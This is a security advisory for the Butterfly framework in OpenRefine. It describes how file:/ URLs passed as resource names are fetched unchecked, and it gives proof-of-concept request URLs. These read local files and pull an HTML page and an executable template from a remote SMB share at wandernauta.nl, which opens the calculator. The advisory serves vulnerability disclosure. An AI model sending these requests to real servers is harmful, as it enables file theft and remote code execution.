| Package | Affected versions | Patched versions |
|---|---|---|
| org.openrefine.dependencies:butterfly | < 1.2.6 | 1.2.6 |
| butterfly | ≤ 1.2.6 |
The Butterfly framework uses the java.net.URL class to refer to (what are expected to be) local resource files, like images or templates. This works: "opening a connection" to these URLs opens the local file. However, if a file:/ URL is directly given where a relative path (resource name) is expected, this is also accepted in some code paths; the app then fetches the file, from a remote machine if indicated, and uses it as if it was a trusted part of the app's codebase.
This leads to multiple weaknesses and potential weaknesses:
The edu.mit.simile.butterfly.ButterflyModuleImpl.getResource method converts a resource name into an URL, for instance:
images/logo-gem-126.svg
file:/C:/Users/Wander/IdeaProjects/OpenRefine/main/webapp/modules/core/images/logo-gem-126.svg
If the resource name already starts with file:/, it is passed through unmodified (line 287). There is no check that the resulting URL is inside the expected directory or on the same machine.
The default implementation for process in ButterflyModuleImpl is to serve a named resource, which makes it vulnerable. The Velocity template library is bound to the same getResource implementation through the ButterflyResourceLoader class, which means it is also vulnerable if template resource names can somehow be influenced by an attacker.
This demonstration has been tested with OpenRefine on a Windows machine. Start OpenRefine, create a file (here example.js) with some contents, then concatenate the OpenRefine URL and its file:/ URL, as follows:
http://localhost:3333/file:/C:/Users/Wander/example.js
The file is read and sent to the browser. Then, visit:
http://localhost:3333/file:%2f%2fwandernauta.nl/public/demo.html
Assuming there are no firewalls in the way, the HTML page is retrieved from the public SMB (Samba) network share and sent to the browser, which executes the embedded JavaScript.
In the case of OpenRefine specifically, to demonstrate the attacker-controlled template name case:
http://localhost:3333/file:%2f%2fwandernauta.nl/public/index
An index.vt template containing the snippet above is retrieved from the same share, which is then executed; the Windows calculator opens.
Depending on how the framework is used: path traversal, XSS, SSRF; potentially RCE.
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